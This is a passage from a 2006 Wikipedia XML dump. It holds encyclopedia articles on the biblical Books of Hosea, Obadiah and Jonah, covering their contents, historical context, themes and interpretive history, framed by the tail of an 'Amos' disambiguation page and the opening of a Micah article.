* [[Tori Amos]] is a singer.
* [[Amos Meller]] is an [[Israel]]i [[composer]] and [[Conducting|conductor]].
* [[Amos Oz]] is an Israeli [[writer]].
* [[Amos Tversky]] was a pioneer of [[cognitive science]].
* [[Amos Dolbear]] was an [[United States|American]] [[inventor]].
* '''Amos''' is the name of a software for aircraft maintenance ([[MRO]]). See http://www.swiss-as.com
*'''AMOS''' ('''A'''nalysis of '''MO'''ment '''S'''tructures) is a structural equation modelling software: http://www.spss.com/amos 
*'''Amos''' is the [[NATO reporting name]] of the [[Vympel R-33]] air-to-air missile.
*[[Amos Urban Shirk]], American businessman, author and prodigious reader of encyclopedias.
*[[AMOS_Operating_System|AMOS]] is a small computer operating system.
{{disambig}}

[[de:Amos]]
[[he:עמוס]]
[[fr:Amos]]
[[nl:Amos]]
[[pl:AMOS]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Hosea</title>
    <id>4449</id>
    <revision>
      <id>38040019</id>
      <timestamp>2006-02-03T19:52:15Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">{{mergefrom|Hosea}}

{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''''Book of Hosea''''' is a book of the [[Hebrew Bible]], known to Christians as the [[Old Testament]] written by [[Hosea]]. This book stands first in order among the &quot;[[Minor prophets]].&quot; This was the longest of the prophetic books written before the [[Babylonian captivity]].

Hosea prophesied in a dark and melancholy period of [[kingdom of Israel|Israel]]'s history, the period of the Northern Kingdom's decline and fall in the [[8th century BCE]]. The sins of the people, their priests and their rulers had brought upon them great national disasters. Their various sins (homicide, fornication, perjury, theft, idolatry, impiety and others) are mentioned and criticized. An interpolated list of kings made Hosea into a contemporary of [[Isaiah]].

The book may be divided into two parts, the first containing chapters 1-3, and symbolically representing the idolatry of Israel under imagery borrowed from the matrimonial relation; Hosea [[marriage|marries]] a [[prostitute]], as the [[Tetragrammaton|Lord]] said, ''&quot;The people in this land have acted like prostitutes and abandoned the Lord.&quot;''

The figures of marriage and adultery are common in the Old Testament writings to represent the spiritual relations between [[God]] and the people of Israel. Here we see the apostasy of Israel and their punishment, with their future repentance, forgiveness, and restoration.

The second part, containing 4-14, is a summary of Hosea's discourses, filled with denunciations, threatenings, exhortations, promises, and revelations of mercy.

The unique contribution of Hosea is the extended allegory of marriage given in chapters 1-3.  While a few commentators believe this section to be entirely symbolic, most believe that the events described did occur.  

First, Hosea was directed by [[Yahweh]] to marry a [[harlot]], and he did so.  This was a symbolic act, representing Yahweh's covenant with Israel.  What was the nation of Israel when Yahweh chose to enter into a covenant relationship with it?  It was a group of ex-slaves who chose to worship a golden calf rather than Yahweh, the God who had rescued them from slavery.  Thus, Yahweh characterizes the nation as a harlot.

Second, Hosea and his wife, [[Gomer]], have a son.  Yahweh commands that the son be named Jezreel.  This name refers to a valley in which much blood had been shed in Israel's history, especially by the kings of the Northern Kingdom.  The naming of this son was to stand as a prophecy against the reigning house of the Northern Kingdom, that they would pay for that bloodshed.

Third, the couple has a daughter.  Yahweh commands that she be named No Pity or Not Pitied, to show Israel that, although Yahweh will still have pity on the [[Southern Kingdom]], He will no longer have pity on the [[Northern Kingdom]]; its destruction is imminent.

Fourth, a son is born to Gomer.  It is questionable whether this child was Hosea's, for Yahweh commands that his name be Not My People, or more simply, Not Mine.  The child bore this name of shame to show that the Northern Kingdom would also be shamed, for its people would no longer be known as God's People.

Following this, the prophecy is made that someday this will all be changed, that Yahweh will indeed have pity on his people, Israel.

Chapter two describes a divorce.  This divorce seems to be the end of the covenant between Yahweh and the Northern Kingdom.  However, it is probable that this was again a symbolic act, in which Hosea divorced Gomer for infidelity, and used the occasion to preach the message of Yahweh's rejection of the Northern Kingdom.  He ends this prophecy with the declaration that Yahweh will one day renew the covenant, and will take His people back in love.

In Chapter three, at Yahweh's command, Hosea seeks out Gomer once more.  Either she has sold herself into slavery for debt, or she is with a lover who demands money in order to give her up, because Hosea has to buy her back.  He takes her home, but refrains from sexual intimacy with her for many days, to symbolize the fact that Israel will be without a king for many years, but that Yahweh will take Israel back, even at a cost to Himself.

Chapters 4-14 spell out the allegory at length.  Chapters 4-10 contain a series of oracles, or prophetic sermons, showing exactly why Yahweh is rejecting the Northern Kingdom, what are the grounds for the divorce.  Chapter 11 is Yahweh's lament over the necessity of giving up the Northern Kingdom, which is a large part of the people of Israel, whom He loves.  He promises that He will not entirely give them up.  Then, in Chapter 12, he pleads for their repentance.  Chapter 13 foretells the destruction of the kingdom at the hands of [[Assyria]], because there has been no repentance.  Chapter 14 urges them to seek forgiveness, and promises the restoration of Israel, while urging the utmost fidelity to Yahweh.

==Context==
Hosea prophesied in a difficult period of [[kingdom of Israel|Israel]]'s history, the period of the Northern Kingdom's decline and fall in the [[8th century BC]]. Hosea was himself a native of the Northern Kingdom, and wrote in a distinctive northern dialect. 

During Hosea's lifetime, the kings of the Northern Kingdom, their aristocratic supporters, and the priests had led the people in falling away from the Law of God, as given in the [[Pentateuch]].  Forsaking the worship of Yahweh, they worshipped other gods, especially Baal, the Canaanite fertility god.  Other sins followed, including homicide, perjury, theft, and sexual sin.  Hosea, like other 8th century prophets, declares that, unless they repent of these sins, Yahweh will allow their nation to be destroyed, and the people will be taken into captivity by Assyria, the greatest nation of the time.

In fact, Assyria did capture Samaria, the capital of the Northern Kingdom, in 722 BC.  All the members of the upper classes and many of the ordinary people were taken captive and carried off to live as prisoners of war.

==Themes==
The primary theme of the Book of Hosea is that God loves Israel, just as a man loves his wife.  This is shown by the extended metaphor of Hosea's own marriage.

In conjunction with that theme, however, are the twin themes of Israel's sin and the coming retribution.  Although Yahweh loves Israel, Israel has not returned His love.  This has been shown by the continued idolatry and acts of violence, oppression, and sexual sin among the people.  Because Israel has not returned God's love, He will put them away from Him, just as Hosea did his wife, and send them into exile.

This introduces the fourth theme, which is the restoration of Israel from exile.  The country will be conquered; the people will be sent into exile; but some will return and build the land up once more.  God will embrace them as His people, and they will be loyal to Him as their God.

==Contribution==
Hosea is believed to be the first prophet to use marriage as a metaphor of the covenant between God and Israel and influenced latter prophets such as Jeremiah. He is among the first writing prophets and the last chapter of Hosea has a format similar to wisdom literature

{{eastons}}
==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15758 Hoshea - Hosea (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/28_hosea.htm ''Hosea'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Hosea}}
* [http://www.jewishencyclopedia.com/view.jsp?artid=927&amp;letter=H ''Jewish Encyclopedia'':]''Book of Hosea''
* [http://endtimepilgrim.org/gomer.htm Gomer and Hosea]
*[http://www.bible.org/page.asp?page_id=997]


[[Category:Nevi'im|Hosea, Book of]]
[[Category:Old Testament books|Hosea]]

[[cs:Kniha Ozeáš]]
[[da:Hoseas' bog]]
[[de:Hosea (Buch)]]
[[de:Prophet Hosea]]
[[fi:Hoosean kirja]]
[[fr:Livre d'Osée]]
[[he:הושע הנביא]]
[[id:Hosea]]
[[jv:Hosea]]
[[ko:호세아 (구약성서)]]
[[nl:Hosea]]
[[no:Hoseas bok]]
[[pl:Księga Ozeasza]]
[[ru:Книга пророка Осии]]
[[sv:Hosea]]
[[zh:何西阿書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Obadiah</title>
    <id>4450</id>
    <revision>
      <id>40783551</id>
      <timestamp>2006-02-23T00:08:20Z</timestamp>
      <contributor>
        <username>Manuel Anastácio</username>
        <id>54600</id>
      </contributor>
      <comment>/* Further Study */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
== Overview of Contents ==

The '''Book of Obadiah''' is found in both the [[Hebrew Bible]] and the [[Old Testament]] of the [[Christian Bible]], where it is the shortest book. Its authorship is generally attributed to a person named Obadiah, which means “servant (or worshipper) of the Lord”. Obadiah is classified as a &quot;[[minor prophet]]&quot; in the Christian Bible due to the brevity of the writing (only 21 verses) and the content (prophetic material). An [[Old Testament]] prophet was [professedly] not only a person who was given divine insight into future events, but a person whom the Lord used to declare his word. 

The first nine verses in the book foretell total destruction in the land of [[Edom]] at the hand of the Lord. Obadiah writes that this destruction will be so complete that it will be even worse than a thief who comes at night, for not even a thief would destroy everything. The Lord will allow all allies of [[Edom]] to turn away and help chase [[Edom]] out of its land. What is the reason for such a harsh punishment? Verses ten through fourteen explain that when Israel (the Lord’s chosen people) was attacked, [[Edom]] refused to help them, thus acting like an enemy. What is even worse is that [[Edom]] and [[Israel]] share a common blood line through their founders who were brothers, Jacob and Esau. Because of this gross neglect of a relative, [[Edom]] will be covered with shame and destroyed forever. The final verses, fifteen through twenty-one, depict the restoration of [[Israel]] and the wiping out of the Edomites. Verse eighteen says that there will be no survivors from the house of Esau once the destruction is complete. [[Israel]] will become a holy place and its people will return from exile and inhabit the land once inhabited by the Edomites. The final verse of the prophecy places the Lord as King who will rule over all the mountains of [[Edom]].

== Historical Context ==

The date of composition is disputed among scholars and is difficult to determine due to the lack of personal information about Obadiah, his family, and his historical milieux. The date of composition must therefore be determined based on the prophecy itself. [[Edom]] is to be destroyed due to its lack of defense for its brother nation, Israel, when it was under attack. There are two major historical contexts within which the Edomites could have committed such an act. These are during 853 – 841 B.C. when [[Jerusalem]] was invaded by Philistines and Arabs during the reign of Jehoram (recorded in [[Books of Kings|2 Kings]] 8:20-22 and [[Books of Chronicles|2 Chronicles]] 21:8-20 in the [[Christian]] [[Old Testament]]) and 605 – 586 B.C. when [[Jerusalem]] was attacked by King Nebuchadnezzer of [[Babylon]], which led to the Babylonian exile of [[Israel]]. The earlier period would place Obadiah as a contemporary of the prophet [[Elisha]], and the later would place Obadiah as a contemporary of the prophet [[Book of Jeremiah|Jeremiah]], both of whom were prophets in the respective time periods. The later period appears to be the scholarly consensus as Obadiah 1-9 parallels [[Book of Jeremiah|Jeremiah]] 49:7-22. The passage in [[Book of Jeremiah|Jeremiah]] dates from the fourth year of the reign of Jehoiakim (604 B.C.), and therefore Obadiah 11-14 seems to refer to the destruction of [[Jerusalem]] by Nebuchadnezzar (586 B.C.). It is more likely that Obadiah and [[Book of Jeremiah|Jeremiah]] together were drawing on a common source presently unknown to us than [[Book of Jeremiah|Jeremiah]] drawing on previous writings of Obadiah as his source. There is also much material found in Obadiah 10-21 which [[Book of Jeremiah|Jeremiah]] does not quote, and which, had he had it laid out before him, would have suited his purpose admirably. Despite everything, however, there are a number scholars who support both dates and even some who support dates other than the two major possibilities presented. Therefore, any date for the composition Obadiah must be held tentatively.

== Themes ==

The overwhelming theme found in Obadiah is the destruction of enemies of God’s people. Unlike some other prophets, Obadiah does not present a “turn or burn” message, simply a message of inevitable doom as a consequence of previous actions. A [[Christian]] with a knowledge of the [[New Testament]] of the [[Bible]] would say that although God’s grace and forgiveness abound in situations, there are consequences which result from bad decisions. Even more than all this, Obadiah shows that judgment falls even within the family of God, as [[Israel]] and [[Edom]] descended from twin brothers, Jacob and Esau. One can therefore expect that Obadiah's purpose was to make it known that according to his God, [[Tetragrammaton|Yahweh]], if members of the same family were to treat each other in the same manner as [[Edom]] treated the Israelites, they too may be subject to the wrath of God.

There is a second theme which lies under the surface of Obadiah's writing which may be relevant for [[Christian|Christians]] as a faith group. Just as there is perpetual conflict between the two nations of [[Israel]] and [[Edom]] who once struggled together within a single womb, Christians may understand from [[New Testament]] teaching that there is a similar conflict found within their very lives. Paul’s [[Epistle to Galatians|Epistle to the Galatians]] in the [[New Testament]] presents the idea that the spirit and the flesh are in constant conflict within a person. Coming from within a single being, just like the two nations in Obadiah’s prophecy, either the spirit or the flesh will ultimately overcome and the other will fail (just as Israel overcame and Edom failed). It is the [[Christian]] perspective that the spirit will ultimately prevail when the flesh becomes obsolete at the time in which [[Christians|Christians]] believe God will establish his new kingdom on earth.

== Scholarly Issues ==

Aside from the scholarly debate surrounding the date of the prophecy which is discussed above, there is also discussion surrounding verse eighteen which says that once judgment has been carried out, “There will be no survivors from the house of Esau” (NIV). The problem arises when that statement is compared with [[Book of Amos|Amos]] 9:12. According to Obadiah there will not remain even a remnant after [[Edom]]’s judgment; however, [[Book of Amos|Amos]] talks about such a remnant whose possession will be given to [[Israel]]. Some scholars have suggested that [[Book of Amos|Amos]]’s reference to [[Edom]] is symbolic of all nations who were once enemies of [[Israel]] and not meant to literally mean Edomites in the flesh. This is certainly the perspective of [[Luke the Evangelist|Luke]] as he recites the passage from [[Book of Amos|Amos]] in [[Book of Acts|Acts]] 15:17. [[Edom]] is symbolic of the remnant of men and Gentiles who will eventually bear God’s name. Moreover, Frederick A. Tatford in ''Prophet of [[Edom]]’s Doom'' says that Obadiah’s prophecy is fulfilled today as there is currently no trace of anyone who may be identified as an Edomite. 

There is also scholarly discussion about the captivity of Israelites in [[Sepharad]] mentioned in  verse twenty. It is believed that, in ancient times, &quot;Sepharad&quot; was a name for the modern day land of [[Spain]]. Sepharad is also the name of Spain in Rabbinical (and modern) Hebrew. The same verse also speaks of [[Tzarfat]] which iis identified with [[France]] and is the name of France in Rabbinical (and modern) Hebrew. These may have referred to places in the [[Middle East]] and later came to refer to countries in [[Europe]]. This may be due to the fact that Rabbinic literature identifies Edom with the [[Roman Empire]]. If there was a [[Jew|Jewish]] colony of captives there, however, nothing is otherwise known of it; nor are any circumstances evident which would point to the existence of a colony of sufficient importance to be referred to in Obadiah. Therefore the location of Sepharad remains without a conclusive determination.

==Parallels within Scripture==

Although there are no direct parallels from Obadiah found within the [[New Testament]], there are thematic parallels which were discussed previously. Elsewhere in scripture, we can note that verses 1-8 appear with minor changes in the [[Book of Jeremiah]] 49:7-16, and the style and language found in Obadiah is very similar to the [[Book of Joel]], particularly the end.
Obadiah frequently uses the term &quot;the Day of the Lord,&quot; which also appears in the Book of Joel, as well as in [[Book of Isaiah|Isaiah]] 13, [[Book of Amos|Amos]] 5, [[Book of Zephaniah|Zephaniah]] 1, and [[Book of Malachi|Malachi]] 3.

==Further Study==

'''Obadiah''', meaning ''servant of the Lord'', is also the
name of several people from the scripture. See the [[Obadiah]] entry for more details.

'''Links to Translations'''
* [http://www.anova.org/sev/htm/hb/31_obadiah.htm Obadiah at The Great Books] (New Revised Standard Version)
* {{biblegateway||Obadiah}}
* [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Obadiah Obadiah at Wikisource] (Authorised King James Version)

'''Recommended Sources Used'''

[http://www.mechon-mamre.org/c/ct/c1601.htm Masoretic text] from [http://www.mechon-mamre.org/ Mechon Mamre]

http://www.pbc.org/dp/stedman/adventure/0231.html

[http://www.jewishencyclopedia.com/index.jsp The Jewish Encyclopedia (1901-1906)]

The NIV Study Bible, 10th Anniversary Edition, Zondervan Publishing, 1995

Old Testament Survey, Second Edition, ''Lasor'', Eerdmans Publishing, 1996

The Old Testament Speaks, Fourth Edition,''Schultz'', HarperCollins Publishing, 1990

'''Prepared in 2005 for the course BIBL5023 at [[Acadia Divinity College]]'''

[[Category:Nevi'im|Obadiah, Book of]]
[[Category:Old Testament books|Obadiah]]

[[cs:Kniha Abdijáš]]
[[de:Obadja (Buch)]]
[[fr:Livre d'Abdias]]
[[ko:오바디야 (구약성서)]]
[[id:Obaja]]
[[it:Abdia(Bibbia))]]
[[he:ספר עובדיה]]
[[jv:Obaja]]
[[nl:Obadja]]
[[pl:Księga Abdiasza]]
[[pt:Obadias]]
[[fi:Obadjan kirja]]
[[sv:Obadja]]
[[zh:俄巴底亞書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Jonah</title>
    <id>4451</id>
    <revision>
      <id>41119354</id>
      <timestamp>2006-02-25T04:16:11Z</timestamp>
      <contributor>
        <username>Livajo</username>
        <id>91707</id>
      </contributor>
      <minor />
      <comment>/* New Testament */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}

In the [[Hebrew Bible]], the '''Book of Jonah''' is the fifth book in a series of books called the Minor Prophets (itself a subsection of the [[Nevi’im]] or Prophets). Unlike other prophetic books however, this book is not a record of a prophet’s words toward [[Israel]]. Instead of the poetry and prophetic prose of [[Isaiah]] or [[Lamentations]], this book tells the story of an apparently inept prophet who becomes one of the most effective prophets in the entire Bible.

The character of the story is based on an obscure figure that lived during the reign of Jeroboam II (786-746 BCE). Jonah son of Amittai is elsewhere only mentioned in II Kings 14:25. (For more information about the character himself, see the article entitled [[Jonah]].) The book itself was probably written in the post-exilic period (after 530 BCE) and based on oral traditions that had been passed down from the eighth century BCE. (It should be noted that this view is problematic for various reasons, including the story’s setting in the north and not the southern part of Israel [i.e. Judah].) Jonah is considered a Minor Prophet because the book was originally written with the other, smaller prophetic books on a single scroll (also known as the Book of the Twelve).

As a part of the Hebrew Bible, the book is found in both the Jewish [[Tanakh]] and the Christian [[Bible]]. The story has an interesting interpretive history (see below) and has become a well-known story through popular children’s stories.

==Outline of book==
The Book of Jonah is primarily a story about the character of Yahweh. As such, it can be divided into four sections, roughly divided by each chapter: (1) Yahweh’s sovereignty, (2) Yahweh’s deliverance, (3) Yahweh’s mercy, and (4) Yahweh’s righteousness. It may also be outlined in the following manner:

* Yahweh’s first commission and Jonah’s rebellion
** Yahweh’s deliverance toward Jonah and Jonah’s prayer of thanksgiving
* Yahweh’s second commission and Jonah’s obedience
** Yahweh’s deliverance toward Nineveh and Jonah’s complaint of ingratitude

In the first half of the book, Yahweh’s deliverance is demonstrated through His sovereignty. In the second half, Yahweh’s deliverance is demonstrated through His mercy. Finally, Yahweh declares His righteousness in choosing to force and choosing to relent.

==Narrative==
As mentioned above, the book of Jonah is not written like the other books of the prophets. Jonah is almost entirely narrative with the exception of the psalm in chapter 2. The actual prophetic word against Nineveh is only given in passing through the narrative. As with any good story, the story of Jonah has a setting, characters, a plot, and themes. It also relies heavily on such literary devices as irony.

===Setting===
The story of Jonah is set against the historical background of Ancient Israel in the eighth-7th centuries BCE and the religious and social issues of the late sixth to fourth centuries BCE. The views accurately coincide with the latter chapters of the [[book of Isaiah]] (sometimes classified as Third Isaiah), where Israel is given a prominent place in the expansion of Yahweh’s kingdom to the Gentiles. (These facts have led a number of scholars to believe that the book was actually written in this later period.)

The Jonah mentioned in II Kings 14:25 lived during the reign of Jeroboam II (786-746 BCE) and was from the city of Gath-hepher. This city, modern el-Meshed, located only several miles from [[Nazareth]] in what would have been known as [[Israel]] in the post-exilic period (as distinct from the southern kingdom, known as [[Judah]]) and [[Galilee]] around the time of [[Christ]].

[[Nineveh]] was the capital of the ancient [[Assyrian]] empire, which fell to the [[Medes]] in [[612 BC|612 BCE]]. The book itself calls Nineveh a “great city,” probably referring to its affluence, but perhaps to its size as well. (That the story assumes the city’s existence and deliverance from judgment may indeed reflect an older tradition dating back to the eighth-7th century BCE.) Assyria often opposed Israel and eventually took the Israelites captive in 722-721 BCE (see [[History of ancient Israel and Judah]]). The Assyrian oppression against the Israelites can be seen the in the bitter prophecies of [[Nahum]].

===Characters===
The story of Jonah is a drama between a passive man and an active God. [[Jonah]], whose name literally means &quot;dove,&quot; is introduced to the reader in the very first verse. The name is decisive. While most prophets had heroic names (e.g., Isaiah means &quot;Yahweh has saved&quot;), Jonah's name carries with it an element of passivity.

Jonah's passive character then is contrasted with the other main character: [[Yahweh]] (lit. &quot;I will be what I will be&quot;). Yahweh's character is altogether active. While Jonah flees, Yahweh pursues. While Jonah falls, Yahweh lifts up. The character of Yahweh in the story is progressively revealed through the use of irony. In the first part of the book, Yahweh is depicted as relentless and wrathful; in the second part of the book, He is revealed to be truly loving and merciful.

The other characters of the story include the sailors in chapter 1 and the people of Nineveh in chapter 3. These characters are also contrasted to Jonah's passivity. While Jonah sleeps in the hull, the sailors pray and try to save the ship from the storm (2:4-6). While Jonah passively finds himself forced to act under the Divine Will, the people of Nineveh actively petition Yahweh to change His mind.

===Plot===
The plot of the story is fairly direct, although the strong use of irony presents an unexpected turn of events. The story centers around the conflict between Jonah and Yahweh. Yahweh calls Jonah to proclaim judgement to Nineveh, yet Jonah resists and attempts to flee to Tarshish. From this point on, Jonah begins his descent from the Divine Will into the &quot;belly of Sheol.&quot; Yet Yahweh relentlessly pursues Jonah, even bringing a great storm upon Jonah so that he is forced into the sea. Finally, Jonah relents and obeys the call to prophesy against Nineveh. Ironically, the relentless God demonstrated in the first 2 chapters, becomes the merciful God in the last two chapters (see 3:10). The author's use of irony is also demonstrated in that Jonah becomes the most effective of all prophets. While most of the prophets (i.e. those with great names) were relatively ineffective in turning people from their sins, Jonah turns 120,000 people to Yahweh!

==Interpretive history==
[[Image:Dore_jonah.jpg|thumb|right|300px|Jonah preaching to the Ninevites, by [[Gustave Dore]].]]
[[Image:Dore_jonah_whale.jpg|thumb|right|300px|Jonah Cast Forth By The Whale, by [[Gustave Dore]].]]

As with many canonical books, the Book of Jonah has had a long and varied interpretive history. This history spans from ancient rabbinic interpretations to &quot;post modern&quot; reader-response interpretations. The interpretative styles of Jews, Christians, Muslims, and atheists have all been employed to understand the story of Jonah. This section will consider how these various groups have interpreted Jonah throughout time.

===Early Jewish interpretation===
The story of Jonah has numerous theological implications, and Jews have always recognized this. In their early translations of the Hebrew Bible, Jewish translators tended to remove anthropomorphic imagery in order to prevent the reader from misunderstanding the ancient texts. This tendency is evidenced in both the Aramaic translations (i.e. the [[Targum]]) and the Greek translations (i.e. the [[Septuagint]]). As far as Jonah is concerned, Targum Jonah offers a good example of this.

====Targum Jonah====
In Jonah 1:6, the [[Masoretic Text]] (MT) reads, &quot;...perhaps God will pay heed to us....&quot; This phrase, however, is problematic. Are God's actions dictated by our desires, or our requests? But God, Jews believed, was unchangeable. How could a mere human direct the divine will? So, Targum Jonah translates this passage as: &quot;...perhaps there will be mercy from the Lord upon us....&quot; The captain's proposal was now no longer an attempt to change the divine will; rather, it was an attempt to appeal to divine mercy. Furthermore, in Jonah 3:9, the MT reads, &quot;Who knows, God may turn and relent [lit. repent]?&quot; Yet Targum Jonah translates this as, &quot;Whoever knows that there are sins on his conscience let him repent of them and we will be pitied before the Lord.&quot; God does not change his mind; rather God simply fulfills his promise: when His people repent, he will pity them and forgive them.

====Dead Sea Scrolls====
Among the [[Dead Sea Scrolls]] (DSS), the book was only found in half of the ten Minor Prophets manuscripts and is not even mentioned among the non-biblical manuscripts (Abegg 443). If scholarly consensus is correct in its assessment that the DSS were the product of the [[Essenes]], this would be no surprise. The book of Jonah not only posed problems for Jews because it tells of God changing His mind, it also demonstrates God’s favor to one of Israel’s gentile enemies.

===Early Christian interpretation===
====New Testament====
The earliest Christian interpretations of Jonah are found in the [[Gospel of Matthew]] (see Matthew 12:38-42 and 16:1-4) and the [[Gospel of Luke]] (see Luke 11:29-32). Both Matthew and Luke record a tradition of Jesus’ interpretation of the story of Jonah (notably, Matthew includes two very similar traditions in chapters 12 and 16). As with most Old Testament interpretations found in the New Testament, Jesus’ interpretation is primarily “typological”. Jonah becomes a “type” for Jesus. Jonah spent three days in the belly of the fish; Jesus will spend three days in the ground. Here, Jesus plays on the imagery of [[Sheol]] found in Jonah’s prayer. While Jonah metaphorically declared, “Out of the belly of Sheol I cried,” Jesus will literally be in the belly of Sheol. Finally, Jesus compares his generation to the people of Nineveh. Jesus fulfills his role as a type of Jonah, however his generation fails to fulfill its role as a type of Nineveh. Nineveh repented but his generation, which has seen and heard one even greater than Jonah, fails to repent. Through his typological interpretation of the story of Jonah, Jesus has weighed his generation and found it wanting.

====Augustine of Hippo====
Contrary to popular belief, the debate over the credibility of the miracle of Jonah is ''not'' a modern one. Without a doubt, [[naturalism]] and the philosophy of [[David Hume]] have impacted modern interpretations of the miraculous story; yet the credibility of a human being surviving in the belly of a great fish has long been questioned. In c. 409 CE, [[Augustine of Hippo]] wrote to Deogratias concerning the challenge of some to the miracle recorded in the Book of Jonah. He writes:

&quot;The last question proposed is concerning Jonah, and it is put as if it were not
from Porphyry, but as being a standing subject of ridicule among the Pagans; for his words are:
“In the next place, what are we to believe concerning Jonah, who is said to have been three days
in a whale’s belly? The thing is utterly improbable and incredible, that a man swallowed with his
clothes on should have existed in the inside of a fish. If, however, the story is figurative, be pleased
to explain it. Again, what is meant by the story that a gourd sprang up above the head of Jonah
after he was vomited by the fish? What was the cause of this gourd’s growth?” Questions such as
these I have seen discussed by Pagans amidst loud laughter, and with great scorn.&quot; (Letter CII, Section 30)

Augustine responds that if one is to question one miracle, then one should question all miracles as well (section 31). Nevertheless, despite his apologetic, Augustine views the story of Jonah as a figure for Christ. For example, he writes: &quot;As, therefore, Jonah passed from the ship to the belly of the whale, so Christ passed from the cross to the sepulchre, or into the abyss of death. And as Jonah suffered this for the sake of those who were endangered by the storm, so Christ suffered for the sake of those who are tossed on the waves of this world.&quot; Augustine credits his allegorical interpretation to the interpretation of Christ himself (Matt. 12:39,40), and he allows for other interpretations as long as they are in line with Christ's.

===Islamic interpretation===
In the [[Qur'an]], Jonah is called Yunus (see [[Similarities between the Bible and the Qur'an]]).

===Modern interpretation===
In Jonah 2:1 (1:17 in English translation), the Hebrew text reads ''dag gadol'' (דג גדול), which literally means &quot;great fish.&quot; The [[LXX]] translates this phrase into Greek as ''ketos megas'' (κητος μεγας). The word ''ketos'' alone means &quot;huge fish,&quot; and in Greek mythology the term was closely associated with sea monsters. (See http://www.theoi.com/Ther/Ketea.html for more information regarding Greek mythology and the [[Ketos]].) Jerome later translated this phrase as ''piscis granda'' in his [[Latin Vulgate]]. However, he translated ''ketos'' as ''cetus'' in Matthew 12:40.

At some point, ''cetus'' became synonymous with whale (e.g. cetyl alcohol, which is alcohol derived from whales). In his 1534 translation, [[William Tyndale]] translated the phrase in Jonah 2:1 as &quot;greate fyshe,&quot; and he translated the word ''ketos'' (Greek) or ''cetus'' (Latin) in Matthew 12:40 as &quot;whale.&quot; Tyndale's translation was, of course, later incorporated into the [[Authorized Version]] of 1611. Since, the &quot;great fish&quot; in Jonah 2 has been most often interpreted as a whale.

====Historical and literary criticism====
Some biblical scholars believe Jonah's prayer (2:2-9) to be a later addition to the story (see [[source criticism]] for more information on how such conclusions are drawn). Despite questions of its source, the prayer carries out an important function in the narrative as a whole.

At this point in the story, the reader would expect Jonah to repent, yet Jonah does not repent. The prayer is ''not'' a psalm of lament; rather, it is a psalm of thanksgiving. The presence of the prayer, then, serves to interpret the swallowing of the fish to be Yahweh's salvation. Yahweh has lifted Jonah out of Sheol and set him on the path to carry out His will. The story of descent (from Israel?, to Tarshish, to the sea, to under the sea) becomes the story of ascent (from the belly of the fish, to land, to the city of Nineveh).

Thus, the use of a thanksgiving psalm instead of a lament psalm creates an important theological point. In the popular understanding of Jonah, the fish is interpreted to be the low point of the story. Yet even the fish is an instrument of Yahweh's sovereignty and salvation.

==Bibliography==
* Abegg, Martin, Jr., et al. ''The Dead Sea Scrolls Bible: The Oldest Known Bible Translated for the First Time into English''. New York: HarperSanFrancisco, 1999.
* Cathcart, Kevin J. and Robert P. Gordon. ''The Targum of the Minor Prophets''. The Aramaic Bible, Vol 14. Wilmington, De.: Michael Glazier, Inc., 1989.

==External links==
===Translations===
====Jewish translations====
*[http://www.sacred-texts.com/bib/jps/jon.htm Jewish Publication Society] &quot;Tanakh&quot; (1917)
* [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15762 Yonah - Jonah (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org

====Christian translations====
*[http://www.anova.org/sev/htm/hb/32_jonah.htm New Revised Standard Version]
*[http://www.usccb.org/nab/bible/jonah/jonah1.htm New American Version]
*[http://etext.lib.virginia.edu/toc/modeng/public/RsvJona.html Revised Standard Version]
*[http://www.biblegateway.com/passage/?search=jonah;&amp;version=31 New International Version] and others (Bible Gateway)
*[http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Jonah Authorised King James Version] (Wikisource)
*[http://www.blueletterbible.org/kjv/Jon/Jon001.html#top BlueLetter Bible] (King James Version and others, plus commentaries)

====Ancient texts, translations====
*[http://www.mechon-mamre.org/i/t/t17.htm Hebrew], [http://www.cnrs.ubc.ca/greekbible/Ionas.pdf Greek], [http://www.thelatinlibrary.com/bible/jonah.html Latin]

===About===
*[http://www.jewishencyclopedia.com/view.jsp?artid=389&amp;letter=J&amp;search=jonah Jewish Encyclopedia: Book of Jonah] (1901-1905)
*[http://www.newadvent.org/cathen/08497b.htm Catholic Encyclopedia: Jonah] (1911)
*[http://www.isidore-of-seville.com/jonah/jonah.html Jonah on the Web], annotated directory and art galleries
* [http://www.bible.gen.nz/jonah/ Study notes on the Book of Jonah] by Dr. Tim Bulkeley
*[http://www.geocities.com/j_owens05/ot/jonah/index.html Biblical Scholarship: Book of Jonah]

[[Category:Nevi'im|Jonah, Book of]]
[[Category:Old Testament books|Jonah]]

[[ca:Llibre de Jonàs]]
[[cs:Kniha Jonáš]]
[[de:Jona (Buch)]]
[[es:Libro de Jonás]]
[[fr:Livre de Jonas]]
[[ko:요나 (구약성서)]]
[[id:Kitab Yunus]]
[[he:ספר יונה]]
[[jv:Yunus]]
[[nl:Jona]]
[[ja:ヨナ書]]
[[pl:Księga Jonasza]]
[[pt:Livro de Jonas]]
[[fi:Joonan kirja]]
[[sv:Jona]]
[[zh:約拿書]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Micah</title>
    <id>4452</id>
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      <contributor>
        <username>Manuel Anastácio</username>
        <id>54600</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}

The '''Book of Micah''' is one of the books of the [[ Nevi'im]] and of the [[Old Testament]].


==Who wrote it?==

